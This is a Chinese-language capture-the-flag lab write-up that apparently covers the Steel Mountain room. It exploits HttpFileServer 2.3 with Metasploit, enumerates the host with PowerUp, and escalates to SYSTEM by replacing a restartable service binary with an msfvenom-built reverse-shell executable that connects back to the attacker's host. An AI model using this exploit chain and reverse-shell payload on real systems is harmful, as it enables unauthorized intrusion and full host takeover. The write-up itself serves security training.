对目标进行信息收集
nmap扫一下
访问一下80端口和8080端口
Who is the employee of the month? //谁是本月最佳员工?
Take a look at the other web server. What file server is running?
//查看其他网络服务器。什么文件服务器正在运行?
谷歌搜索HttpFileServer 2.3
获取shell
用msf搜索HttpFileServer
使用 Metasploit 获取初始 shell,
use 0
show options
set rhost 10.10.109.202
set RPORT 8080
set lhost 10.11.63.209
run 运行
获取shell后查找user flag
search -f *.txt
找到user.txt,使用cat 命令查看,不知为啥我打不开,直接用shell查看了
为了枚举这台机器,我们将使用一个名为 PowerUp 的 powershell 脚本,其目的是评估 Windows 机器并确定任何异常情况 - PowerUp 的目标是 成为依赖错误配置的常见 Windows 权限升级向量的交换所。 下载脚本 https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
使用 Metasploit 中的upload 命令上传脚本,要使用 Meterpreter 执行此操作,在 meterpreter 中输入 load powershell:
输入 powershell_shell 进入 powershell:
输入以下命令来运行 PowerUp Powershell 脚本: Import-Module .\PowerUp.ps1,然后
Invoke-AllChecks
注意设置为 true 的 CanRestart 选项
msfvenom可用于生成反向shell的payload并将其输出为windows可执行文件,我们用msfvenom来生成一个和之前的应用程序同名的恶意应用程序:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.63.209 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
然后可以通过 meterpreter shell 将其上传到目标机器:
upload ASCService.exe
进入普通的windows shell界面,我们先停止合法的服务运行,然后用恶意的二进制程序替换正常的同名应用程序文件:
shell
sc stop AdvancedSystemCareService9
copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
重启服务前,先在攻击机上监听
然后重启服务
sc start AdvancedSystemCareService9
成功获取system 权限
最后在c:\Users\Administrator\Desktop找到flag